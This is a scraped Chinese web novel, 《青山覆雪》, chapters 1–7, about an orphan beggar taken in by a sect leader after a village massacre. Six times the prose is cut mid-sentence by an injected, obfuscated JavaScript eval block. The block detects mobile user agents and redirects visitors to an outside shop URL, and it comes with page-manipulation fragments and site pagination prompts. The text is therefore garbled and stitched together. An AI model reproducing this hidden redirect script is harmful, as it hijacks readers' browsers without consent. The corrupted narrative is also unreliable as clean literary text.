《青山覆雪》 第1章 见青衫 岭泉村已经连续几个月没有下雨了,土地干涸,庄稼面临着枯死的危险。村民们每天都忧心忡忡地望着天空,期盼着一场及时雨的到来。然而,当夜幕降临,乌云密布时,人们并没有像往常一样欢呼雀跃。相反,整个村庄笼罩在一片诡异的寂静之中。 大街上空无一人,只有雨水顺着沟渠流淌出村子。夜色深沉,让人难以看清沟渠里那一抹抹红色。这景象令人毛骨悚然,仿佛预示着某种不祥之兆。 “交出藏在此处的白瑜人,可以给你们留个全尸。”领头的男人冷漠地看着跪在地上的村长,他的声音低沉而冷酷,带着一种不容置疑的威严。与其他惊恐万分、瑟瑟发抖的村民不同,这位男子显得异常镇定和自信。他站在一把油纸伞下,雨滴落在伞面上,溅起一朵朵水花,宛如盛开的花瓣。 相比之下,村长则满脸惶恐之色,双手颤抖不已。他的眼神中透露出绝望和无助,似乎已经预见到了接下来可能发生的惨状。 此时全村人都聚集在村中心,每个人的脸上都带着一种绝望和无助的神情,他们的眼神空洞而无神,似乎失去了所有的希望和活力。 天空中的雨渐渐停歇,仿佛也预示着这些村民们即将结束的生命。空气中弥漫着一股压抑的气息,让人感到无法呼吸。 在这个场景中,一个蓬头垢面、衣衫褴褛的小乞丐躲在一个不起眼的角落里。他浑身脏兮兮的,头发乱糟糟地披散在肩上,衣服破烂不堪。他瞪大眼睛,紧张地注视着周围发生的一切,但却不敢发出一丝一毫的声响。 “我不知道大人在说什么,全村人都在这里,您可以一一确认,但还请您放过无辜的人。”村长声音颤抖着说道,语气中带着一丝祈求。他对于男人所说的白瑜人一无所知,此刻他心中只有一个念头——保护好村里的百姓。 他抬头看了一眼天空,那倾盆而下的大雨让他感到欣慰。这场雨来得太及时了,可以滋润干旱已久的土地,让地里的庄稼茁壮成长。等到秋收时,他们就能收获足够的粮食,度过即将到来的严寒冬天。然而,这突如其来的一行人却打破了村庄的宁静,他们把村民们赶到村子中央,用冰冷的目光审视着每一个人。 刚开始的时候,还有几个身体强壮的村民试图反抗,但他们很快就被无情地处死。看着同伴们倒在血泊中,其他村民们心生恐惧,只能老老实实地听从这些人的指挥,任由他们驱使和打骂。村长心里充满了无奈和悲哀,他不知道该如何面对这样的局面。 那男人并没有那么多的耐心,对身边的手下挥了挥手,他们领会其意图,揪出了人群中村长的妻儿老小,锋利的刀架在了他们的脖子上,村长见状向领头人哭喊着求他们高抬贵手,“我是真的不知道大人问的什么白瑜人,求求您放了他们吧。” “可我们收到的消息称,岭泉村曾有一男子患有多年顽疾,外出求医,然经一名白瑜人救治后性命无虞,遂因感恩便请其人来村里做客,你且答可有此事?” “是……是有此事,但那神医只住了几天就走了,且那几天也只是给村里人看病,并未做别的什么事。再说了,我们也不知道他是大人要找的人啊!” 此话一落,伴随着一阵惊雷,雨下的越发急促,像是一道道的催命符。 那男人耐心耗尽,最终叹了口气。 “罢了,皆是命数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170749|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我们也是秉公办事,上面已然下了令——宁可错杀不可放过,您多担待。” 随着一道寒光闪过,村长的头颅咕噜噜地滚落下来,鲜血染红了脚下的土地。他的双眼仍直勾勾地盯着天空中的明月,似乎在诉说着无尽的不甘和不解。 村民们惊恐万分,纷纷四散奔逃,仿佛只要跑得足够快,就能够逃脱这场可怕的灾难。他们不明白为何会发生这一切,也不清楚这些人的来历,更不知道什么是白瑜人。恐惧笼罩着每一个人的心,让他们失去了理智和判断力。 有些人在惊慌失措中摔倒在地,但他们来不及爬起来,便又继续拼命向前奔跑;有些人则躲进了房屋里,希望能找到一丝庇护所;还有些人哭喊着寻找自己的亲人,却发现亲人们已经被吓得不知所措。整个村庄陷入了一片混乱之中,到处都是惊叫声、哭喊声和呼喊声。 其余黑衣人迅速走向那群逃窜的“兔子”,只是此时红了眼睛的是他们。 小乞丐蜷缩在角落里,他知道自己跑不远,他已经几天没有吃饭了,他没有多余的力气逃命了。 他见过那个神医,那是个顶好的人,不仅给他吃食,还给他买新衣服穿,可大家却又因为神医被杀害,那神医还是顶好的人吗? 哭喊声渐渐没了,兔子也逐个被杀完了,在这行人上马离开的时候,领头的男人突然回了头,看到了藏在角落里的小乞丐。 “真是...差点漏了一个呢。” 他松开马绳,接过伞,踩着血水,踏过尸体,走到小乞丐的面前,随即蹲了下来。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第2章 下雨了 “叫什么名字?” “没有名字。” 江挽挑了下眉,一脸不相信的样子。 “真...真没有名字,村里人都说我是被人遗弃在村口的,所以他们也不知道我姓甚名谁。” 江挽沉默了一瞬,再次弯下腰与他平视,看着他的眼睛问到:“介意跟我姓么?” “不介意!”他坚定的回答了她。 “那便叫江洵吧。” “江洵...江洵...好听!很好听!!我也有名字咯!”他开心极了,围着江挽跳来跳去的。 陈叔看着这孩子的高兴的样子自己也跟着笑了几声,孩子嘛!就该这样无忧无虑的撒欢儿! 一行人连着赶了一段时间的路,途中偶尔遇到需要帮忙除秽的村子会停下脚程歇个两天,待帮完忙以后再启程。 “到前面的客栈休息一宿吧,明天再进山。”陈叔晃了晃手中的酒葫芦说道,累么倒是不累,主要是没酒了。 “哈?您老人家还需要休息吗?你不时时刻刻都在休息?这一路上您走了几步啊!”但凡是换个人提休息云蘅都没那么生气,拜托她可没有驴能让她骑!再说前面不远处就是献岁山了,走快点今晚还是能进山的。 “老大怎么看?” “瑶儿去问一下掌柜的可还有空房。”江挽其实觉得今晚歇不歇都无妨,但他们这行人上有老下有小,作为一名合格的老大!她认为还是理应尊老爱幼的。 宋瑶卿一听今晚有床睡,那顿时浑身上下都是劲儿,一声“得嘞!”麻溜的冲前面的客栈跑去。 待一行人进入客栈后,点了一些特色菜,而后讨论起分房的问题。掌柜的说楼上还有四间空着的厢房,本来八个人可以两两分,但三个姑娘五个男人就不太好分了。 “要不老大单独一间房,小洵儿跟我挤挤也是可以的。”郜林觉得自己跟江洵一样都瘦,那俩人睡在一张床上是完全没问题。 但江洵觉得很有问题,他那夜见过郜林用刀的,可真是刀起头落啊,光是回想起来他就后颈发凉。况且目前这行人里,他只想跟自己的师父待一起,哪怕睡地板他也是愿意的,想着想着他就抬头看了眼旁边的江挽。 江挽感觉这小鬼有话要说,便问他:“怎么?你有意见?” “我没有……”江洵嘟囔着缩了缩脑袋。 “你不会是想跟老大住一间吧?话说回来,你今年多大了?”瑶卿眯起眼睛看向江洵。 江挽只觉得自己是真的不太能理解这孩子的想法,且不说这几人里郜林的脾气是顶好的,就算随便挑一个人都比自己要好相与吧,跟她睡一间房还不如去跟鬼睡一间房。 “还未过十四岁的生辰。”其实他并不知道自己真正的生辰是什么哪一日,他不奢想能找到自己的爹娘,也不奢求有人会在他生辰能吃上一碗长寿面。他只是想有个寄托,想有个证明自己还存在于世的寄托,所以他跑去问了村里的老人,第一次见到他时是何年何月何日。 “你真有十四?”宋瑶卿觉得他看起来顶多也才十岁。其实真不怪她惊讶,毕竟江洵个子小小的,身上又没什么肉。再者说阁里也不是没有十四岁的弟子,但比下来确实要比江洵高个一截儿。随后她又将目光看向了郜林。 “……看什么看!我十四的时候还是挺高的!”郜林觉得自己有被冒犯到,但他不是好汉!所以能提当年勇! “那你是过了十四就没长个了?” 嘴下留情吧江挽! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170750|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我真十四。” 江洵垂着眼睛,小嘴一撇。他知道自己和其他同龄孩子不一样,以至于被欺负的时候他都没有能力打回去,可这也不能怪他呀……孩子是没饭吃饿的…… 江挽趁着大家的注意力都在江洵身上的时候,一口喝掉碗里的粥起身就走。可她这点小心思哪里逃得过老陈的眼睛,只听老陈咳嗽一声。“这一路上走的急,也没有适合熬药的地方,刚借了店家后院厨房给你熬的,趁热喝了吧,明天就进山了。” 江挽本不想喝,但听到最后一句,忍着苦还是喝了。等她走到楼梯口的时候停了下来。 “还不上楼?” 江洵一听这是同意自己跟她住一间屋子了?碗里的饼也顾不上吃了,叼在嘴里立马要跟上去。 “让孩子把饭吃完啊,正长身体呢,坐回来吃饭!”陈叔是真的心疼江洵,看着他总是会想起自己的儿子。 其实江洵不太能吃的惯这里的饭菜,他不常吃辣,但有的吃就不能挑挑拣拣,愣是被辣的小脸透红也没有浪费桌上的菜,吃的一干二净。 等他们吃饱喝足都回了厢房以后江洵才最后一个起身。他先站在门口等了一会儿,犹豫再三以后才敲响了客房的门,他不敢直接推门进去,他也怕敲门声会打扰到师父休息。 可门内并没有传来起身走动的声音,也没有听到让他进去的答复,他便只能继续站在那里等着。 约莫半炷香的时间过去了,江洵都在考虑要不要去找郜林凑合着睡了,身后传来了脚步声。他以为是掌柜的或者小二,刚想往墙边靠靠,以免挡住了别人的去路,可头上却传来了江挽的声音。 这章没 有结束,请点击下一页继续阅读! 第3章 温如玉 江洵迅速的洗了把脸就下楼吃饭了,连饼都吃的狼吞虎咽的生怕自己耽误了大家的脚程。没一会儿看到陈叔从后院厨房出来,依旧是端了一碗药递给了江挽,她虽然表面嫌弃着但还是接过去一口喝完了,“下次放点糖,忒苦了点。” 陈叔笑呵呵的接过空碗,“这药不适合和糖一起熬,我下次买些桂花糕备着。” “师父生病了?”江洵昨天就想问陈叔熬的什么药,但没敢多问。 “嗯,绝症。”江挽笑着回他,也不怕这孩子真的信了。 等大家走出客栈的时候,外头已经日上三竿了,宋瑶卿拿出备好的斗笠给江挽戴上,“太阳大,别晃着眼。” 果然往前走了没多久便看到了一座大山,此山名为“献岁”,山下有一个小村落,叫做“首阳村”。 进入村庄后,可以看到村中街道宽敞,两旁店铺林立,酒楼饭馆应有尽有。此外,街道两侧还摆满了各种摊位,出售着琳琅满目的商品,让人目不暇接,这里人来人往,十分热闹。 首阳村受到献岁阁的庇护,因此没有饥荒和邪祟之忧。即便是路过此地歇脚的外地人,也不敢在这里滋事。毕竟,每天都会有献岁阁的弟子轮流下山采购和巡逻,这也是向外界宣示,献岁山属于献岁阁所有,任何人都不允许侵犯。 沿着首阳大街一直向前,在第三个拐角处便看到了上山的入口,入口处还有几名献岁阁的弟子守在那里,个个都是一副都浩气凛然的样子,当然这都只是在见到陈叔之前,在看到陈叔回来后几人立即围上来,一口一个陈前辈叫着,不是捏腿就是捶背的。 陈叔被他们伺候的舒舒服服的,捋着胡子大笑,“好好好,都是好孩子。” 越往山上走遇到的弟子就越多,他们虽然身着同样的衣服,但外衫上的花纹却不相同,分别是红梅、绿竹、白兰和金菊,但放眼望去身着白兰服饰的弟子腰间还都挂着个香囊。 等等……香囊? 江洵拿出了师父给他的香囊,昨晚太困了没有仔细看,现在才发现除了颜色和形状相似,其他地方还是有些许差别的,他们香囊是没有刺绣的,但他的香囊上绣了只歪歪扭扭的碗,嗯??碗??这是什么意思?一般香囊不都是绣荷花绣鸳鸯么? 还没给他过多思考的时间,前方便走来了几位“绿竹”,看那架势明显是冲着他们来的,走近后先向江挽漫不经心地行礼,然后才走上前问道:“三阁主此次外出可一切安好?” 江挽理了理衣衫,不急不慢的回道:“不太好,二阁可以替我准备后事了。” 说罢便抬脚走了。 江洵不理解师父为何总把死挂在嘴边,就算是开玩笑也不吉利呀!于是跟在后面边走边嘀咕,“不算数不算数,我师父刚刚所说的话都不算数,天老爷,你可千万别听她胡说。” 陈叔走在他旁边,看这孩子心事重重的,怕孩子是不了解阁里的规矩,为了以防他以后受了欺负,便靠过来跟他讲解一二。 “咱们阁的弟子都是身着白兰服,腰间佩戴的香囊效果不同,有毒、有药、还有清心凝神的香料。区别是封口的流苏,你且仔细辨别,这个是咱们三阁特有的,每月需外出的弟子都可前去领取。” “一阁红梅、二阁绿竹、还有老阁主的金菊,你平日无事尽量多避着些穿金菊的弟子,那都是些心高气傲的人儿。” 二阁的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170751|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好惹,老阁主的又惹不得……江洵觉得整个献岁阁已经没几个好相与的人了。 等走到半山腰的时候,郜林就被几个弟子拽走了,理由是想让他评判一下谁的刀法更快更有劲。江洵停在此处向上望时已经能看到坐落在山顶的阁楼了,旁边还有一些大小不一的庭院。 江洵没出村子之前认为修仙之人大多都是腾云驾雾,再或者御剑飞行。但跟江挽一行人相处的这段时间,着实改变了他固有的认知。 也只有在陈叔他们几人在除祟的时候才能看到他们拔剑,平时这几人倒完全不像是修行中人。 但有次在追逃跑的细作时,一向不爱说话的穆语轻功一出,快如飞鸟,江洵站在一旁都看呆了,立马拽着江挽说他想学这个! 话说回来,这行人在到达山顶后云蘅便往别的方向走了,江洵跟着陈叔他们最终停在了一处六面三层四重檐的阁楼前,正门上方的牌匾上镌刻着“幽兰阁”三字。 江洵原本以为这幽兰阁便是自己日后要住的地方,可没想到的是,从幽兰阁正门进去后,他又被江挽等人带着从后门出来,然后来到了另一座院子面前。 这座院子看起来和其他院子没什么区别,只是推开院门后的照壁上刻着四个龙飞凤舞、苍劲有力的大字——一湘江雨,这四个字仿佛有着一种奇特的魔力,让人忍不住想要多看两眼。 进入内院之后,映入眼帘的是满目的花草,以及一个小小的水池。池边种着几棵高大的银杏树,虽然现在尚未入秋,树叶仍是一片翠绿,但可以想象得到,等到秋天来临,金黄的银杏叶一定会将整个院子装点得美不胜收。 这章没有结束,请点击下一页继续阅读! 第4章 阳春酒 “这孩子先天神童么?”不然温如玉实在是想破脑壳儿也想不通江挽为啥要收他。 而江挽居然还认真的思考了一下他这个问题,然后又认真的回道:“应该不是,跟你徒弟比起来那还是差了点。” “开玩笑!我徒弟那可是百年难得一遇的好苗子!!!天生的奇才!!!你指的差了点是差了哪几点?啊?说话!” 不是温如玉吹,他长这么大真就没见过几个小小年纪就灵力充沛的,不然他也不会收傅霖做徒弟。更关键的是那孩子除了有天赋,还特聪明,教他的时候一点就通,性子还偏偏能屈能伸能沉得住气。 “陈叔说,假以时日他必成大器,还说他不会比你徒弟差。”当时陈叔说这句话的时候,江挽是真的信了的,因为她不懂一个人适不适合习武,也不明白什么样的才算的上是好苗子,更看不出啥样的骨头称得上是根骨奇佳,但陈叔看人一向很准,所以她当时没有任何怀疑的相信陈叔。 嗯???不比我徒弟差???还必成大器??? 温如玉看了眼旁边从刚刚开始就只埋头吃饭却不吭一声的陈叔,不看还好,看了以后陈叔头埋得更深了。 “陈叔,出任务的时候喝酒可是大忌啊,明明知道我们阿挽最信你了,怎么还净在她面前扯胡话呢。” ...... 我没有!你别瞎说!小心我去老阁主那告你诽谤啊! 陈叔咽下嘴里的菜,再喝了一杯茶,又提了口气后才敢抬头对上温如玉审视的目光。 “小洵儿确实是个好苗子,只是错过了最佳的练气时期,但现在也不算太晚,温阁主若不信可以查看一下这孩子体内是否有正在运行的真气。” 也许是有了那么一丢丢夸大其词的意思,但也是因为碰上了傅霖这个天花板的存在,放眼整个献岁阁,没有经过系统的训练体内就已经有真气在运行的弟子也是罕见了,那要怪就怪傅霖吧! 温如玉也不是真的反对江挽收江洵当亲传,只是觉得收徒这事儿对如今的江挽来说是弊大于利的。 “你们真的没有仔细考虑过这孩子今后会如何么?献岁山可称不上是好归处。” 老阁主也许会和上次一样,对江挽收徒的事儿不多加干涉,但同时也不会阻止其他人来找麻烦。这一年里江挽几乎都在出任务,已然惹了一堆仇家,也许他们不敢直接对江挽出手,但如今有了这个便宜徒弟却要容易许多,是杀是打是羞辱还是折磨,那些人有的是下作手段。 虽说三阁的人个个都是能打能防的好手,但献岁山的弟子一旦入阁满两年就得下山历练,出山以后可没有人再时时刻刻的跟着护着,是死是活全靠自己的能力,到那时江洵还能走多久,江挽又能护多久呢? 说实话,江挽并非不是没有考虑过江洵以后的日子究竟该何去何从。当初不愿意带着他回来,就是因为不知道如何给他寻一个较好的归处。是找个好人家收留呢,还是找个能在这世道生存的活计呢,再或着是送到阳春门这种名门正派,这些都比跟她回献岁山要好上很多。 可难道给他安排好以后的路他就真的能一生顺遂无虞地活下去吗? 难道给他一个容身之处他就真的能一辈子都衣食无忧了吗? 难道传他功法授他知识他就真的能活的自在洒脱不受人掣肘了吗? 不是的,人这一生终究不会活的圆满。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170752|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 如果他只是个小乞丐也许他可以稀里糊涂的活这一生,可他现在是江洵,他应该有自己的思想,自己的考量以及自己的处世之道,他得先找到自己,其次都是其次。 献岁山也许不是最好的去处,江挽也许不是最好的师父,但这走的每一步的都是由江洵自己所做出的选择,也许当下不是最好的但一切都会慢慢变好的。 “有考虑以后的时间不如用心地过好当下。”江挽说道。 “话是这么说没错。可...”当温如玉再次看向江洵的时候,对面的人也感知到他的目光,抬头对上他的视线,这是这次江洵的眼中没有丝毫胆怯也没有一分疑惑,就只是看着他。 就这一眼,让温如玉愣了一下神,然后仿佛明白了什么。 “罢了罢了,你们三阁的事儿我也不好插手。” 待几人都吃的差不多了,江挽让陈叔饭后带江洵去校场看一下,既入了阁还是要从头学起,抓紧时间修炼,不然等到了两年后,江洵站着下山又躺着回山,那场面,江挽想想都觉得丢人。 一顿饭吃到最后的人依旧是江洵,这孩子仿佛不允许饭桌上有剩菜,走的时候还不忘再往怀里揣两块儿面饼。 献岁山的校场在后山的位置,分为了四个场地,三阁的校场在最东边,江洵跟着陈叔过去的时候已经有三阁的弟子在训练了。 和另外两阁不同的地方在于他们三阁没有统一的修习时间,也没有统一的修行功法。三阁在这上面还是比较松散的,当然不是弟子松散,而是教导的师父松散,向来是谁有时间了谁来指导一下弟子。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第5章 没规矩 这场雪已经下了很久,雪花纷纷扬扬地飘落着,给大地披上了一层洁白的银装。从远处眺望,献岁山宛如被重新装点一般,山顶覆盖着厚厚的积雪,像是戴上了一顶白色的帽子;山间的树木也被雪压弯了腰,树枝上挂满了晶莹剔透的冰挂,美不胜收。 江洵对冬天并没有太多好印象,他没有足够的衣物来抵御严寒的冬季,每到这个季节,他只能穿着单薄的衣裳,瑟瑟发抖地希望这冻死人的日子快些过去。而对于除夕夜,他更是充满了羡慕和渴望。家家户户的人们会团聚在一起,再享用一顿热气腾腾的年夜饭,相互祝福并祈求来年的幸福安康。 只是这些温馨的场景却与他无关,江洵没有可以为之祈祷的事,当然也没有可以为之祈福的人。 献岁山的弟子在新年这几天是可以下山回家探亲的,江洵在山下是无亲可探了,毕竟最亲近的人都在身边。 这场雪下到傍晚才停,江洵站在窗边看窗外的景色,然后看到陈叔从房间里出来打扫院子里的积雪,而后腾出一块空地,又摆上几个椅子和凳子,在中间架个炉子生起了火,炉子上还放着两个酒壶。 宋瑶卿见状立刻跑去厨房拿了几个地瓜回来放在下面的火堆里。 “不叫师父过来吗?” 他看了一圈也没见江挽的身影,连温如玉和方知许都来了,她却不在。 宋瑶卿说她下山了。 下山??就江洵所知道的,江挽平常除了出任务是从不下山的,有时候他们溜去山下的饭馆吃饭,江挽也只是在后院待着不去凑热闹。 那这个时候下山做什么?探亲么? 陈叔见江洵低头不吭声,就知道这孩子又在心里琢磨事儿呢,低头跟他说道:“你师父除夕不在山上过,明天就该回了。” “她前几天还跟我说你修为长进了不少呢,本想着这几日带傅霖来跟你切磋一下,但那孩子被他娘逮回家过年了。”温如玉边说边拿旁边的棍子翻火堆里的地瓜。 傅霖傅霖,又是傅霖...三天两头的都能听到旁人提起他,一开始听的时候觉得这个人好生厉害,现在听的多了,只想见识一下到底是怎样优秀的人能让这么多人挂在嘴边夸。 “烤地瓜居然不喊我,是觉得本姑娘身价修为颜值等都高出你们一截儿所以就排挤我么?”云蘅进门以后蹲下捏了个雪球,起身砸到了温如玉身上。 温如玉:???嗯??? “大小姐!什么地瓜还要您亲自烤?想吃跟小的说一声,给您剥了皮儿送过去岂不是省事儿,”由于云蘅是老阁主的亲传弟子,平日行事又比较任性跋扈,温如玉见了她总是要调侃上两句。 一旁的方知许听到他这么说立马笑了起来,然后被温如玉撞了一下手臂才笑的没那么放肆。 这一幕被坐在他们对面的江洵看到了,不过他也没有多想,只是觉得这两人大抵是关系好吧。 “自然是幽兰阁的地瓜需要我亲自烤咯,江挽又下山了?”看似是疑问实则是陈述,然后就让温如玉给她腾点空坐。 江洵认为自己对师父还是了解的太少了,来这里半年多了,但他至今都没有被允许进后院。 有次听别的弟子说后院之前是前三阁主住的,也就是江挽的外婆,当时在不擅闯私人地界的前提下还是可以自由进出的,但自从江挽接了幽兰令以后,后院便不允许随意进出了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170753|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江洵现如今也不是因为好奇心非要进后院一探究竟,他只是觉得自己跟他们中间隔了点什么东西,他说不清到底是什么,只是知道只要这个东西一直在,他就一直算不上是真正的三阁人。 他从一开始就没想只当个普通的三阁弟子,他想要把自己放在陈叔、瑶卿那一类,他想要随意进出后院,想要快些长大,更想与他们一同出任务。 他环顾四周,光秃的银杏、结冰的水池、呼啸的寒风还有满地的白雪。 他闭眼感受,并排的椅子、沸腾的茶壶、温暖的火堆还有热闹的他们。 好像冬天也没有那么难熬了,好像过了这个冬天,一切都会复苏,他会,他们也会。 他睁开眼,便看到江挽拎着药和酒走了过来,他还没开口问她去哪了,对面的温如玉跟背后长了双眼睛似的,立刻跑过去接住了那两壶酒。 “阳春酒!” 方知许听到温如玉喊阳春酒的时候,手里的地瓜顿时不香了,紧跟着凑过去分酒喝。 “怎么今日就回了?”宋瑶卿比起酒显然更关心人多一些,说罢便要将身上的披风脱给江挽。 “无妨,事儿多。”说完就看了眼江洵,江洵不明白为啥看他,更不明白为啥事多就今日回,事多不应该晚几日回么? 但这个时候回来估计还没吃晩饭,便将刚刚从郜林手里抢来的地瓜给了她,江挽接过掰了一半,另一半又递给了江洵。 陈叔看到江挽手里拿的药包上画着一支桃花,便问道:“阳春门最近可还太平?听闻最近花朝楼在四处找秦方礼,可有着落了?” 这章没有结束,请点击下一页继续阅读! 第6章 疾风起 江洵匆匆忙忙赶到孟春楼时,心中不禁涌起一股暖流。只见桌上摆放的都是他爱吃的菜,而众人还特意为他留下了一只鸡腿。正当他心怀感激地将鸡腿放入口中时,一旁的陈叔却面带微笑地对他说道:“多吃点,吃饱了明日才有力气挨打。” 江洵闻言,顿时愣住了,哈????挨打???? 陈叔似乎察觉到了他的疑惑,轻轻拍了拍他的肩膀,安慰道:“你放心,那孩子虽然性子倔强,但还是懂得分寸的,不会真的伤到你。” “哎对!顶多躺床上养个把月。”瑶卿一向都是着看热闹不嫌事儿大。 嗯???躺个把月??? 江洵突然发现今天的鸡腿怎么没有一点香味儿呢,不是!怎么就没人提前通知他一声?当事人难道不需要被提前告知吗?合着被揍的不是他们呗! 而且既然告知了又为啥非得挑他吃饭的时候说,那如今这顿饭他要用什么样的姿势吃才显得更香一些? “算算时辰,你方才路上应该是有遇到傅霖的。” 陈叔这话让江洵没法接,就算遇到了,他也不认识啊! “嗯......刚刚在山上碰到个拦路的,非要说是我师兄,我不认,他就说我没大没小没规矩的,我问他姓什么,他说他姓...” 江洵说到此处猛然站了起来,等等!!姓傅???不会那么巧吧!!! 瑶卿看他这样子,算是明白了这俩人刚刚不仅见过了,可能还吵过了。 “嗯嗯!拦路的师兄,然后呢?那师兄是不是身着黛蓝色的大氅?还拎着一个包袱?人还长得明眸皓齿、玉树临风的呀?” 好嘛!看来还真就这么巧! “是的,但我并不知他是傅霖,而且我看他也没穿一阁的校服......”江洵的语气越来越弱。 “哈哈哈哈哈哈哈,没关系,明日看在温如玉的面子上想来也不会为难你的,不过他之前并未见过你,却声称是你师兄,莫不是早就认识你?” “这个我也不知道。” 江洵今日虽然穿的是三阁的校服,也并未佩剑,但他除了长得清秀了点和其他三阁弟子比起来也并无差别啊。 宋瑶卿属实想不明白傅霖为何会认出江洵,难不成这人除了武学上有造诣,认人这点也是高手么? “罢了罢了,先趁热吃,旁的事吃饱了再说。” 陈叔不停地给江洵夹菜,生怕这孩子饿着了,这半年来好不容易养胖了点。 一行人吃完饭回山的路上又绕道给江挽买了盒桂花糕,旁的她也不多吃,但首阳街的桂花糕倒是经常嚷嚷着让陈叔给她买,陈叔说可以在院子里种点桂花树,等桂花开了无论是桂花糕还是桂花酿都可以做,但院子就那么大点,想要种桂花树就得移除一两棵银杏树,江挽一听就不乐意了,她宁愿这辈子不吃桂花糕也要守着这几颗银杏树。 “师父明天去校场吗?” 江洵想让他师傅看看自己这半年来的成长,却又不想让她看到自己的徒弟成为别人的手下败将。 “这个不好说,晚上我送桂花糕的时候问问她,倒也没听她说明日有任务。” “小洵儿,你若不想让你师父看到你被打趴下的丑样子,你就跟姐姐说,姐姐明天保准拦着她不让她靠近校场半步!” 收手吧瑶卿!山上的笋都已经被你夺光了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170754|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 几人回到幽兰阁的时候已经亥时了,陈叔去了后院,其余人都回到了自己的住处,江洵今晚想早点休息,但夜里辗转反侧毫无睡意。 最后终于睡下的时候却梦到了自己又回到了岭泉村,他见到了那个神医,神医腰间还挂着一个玉佩,他想往前走几步看清玉佩的样子,但奈何一直在原地踏步,直至最后神医完全消失在他的视线里,他也没有跨出一步。 他总觉得自己遗漏了什么重要的东西,但究竟是什么他始终想不起来。 半梦半醒间,他感觉周身一片虚无,他在一点一点地被人推着走,但又有双手一点一点地把他往回拉,他喊不出声,也动弹不得,就在这时他忽然听到有什么东西撞到了窗户上,这才缓缓地从梦魇中醒来。 待清醒以后,他起身走到窗边,看到一只断了翅膀的麻雀倒在那里,奄奄一息的样子像极了刚刚梦中的自己,他伸手将麻雀小心翼翼的托起,拿出柜子里的药草给麻雀草草的包扎了一下。 一切都处理完毕以后,他再次有了困意,翻身将枕下的香囊握在手里,蜷缩着腰身睡着了。 晨光熹微之时,江洵揉了揉眼睛,穿好衣服就去了方知许那里,本来还不清醒的脑子在看到温如玉从方知许院里走出来的时候顿时醒了,温如玉显然也没想到会这个时候碰到江洵,愣了一下才向他走过来。 “下午与傅霖比试的时候不用有所顾忌,尽管出手,知道吗?” “嗯。” “届时我同你师父会一起过去,不用紧张,就是师兄弟间的交流。” “弟子明白。” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第7章 东宁城 江洵自昏迷后就一直昏睡,如今夜里是陈叔和郜林轮流照顾,厨房熬着药,炉子上温着水,就等着江洵醒了能第一时间喂下去。 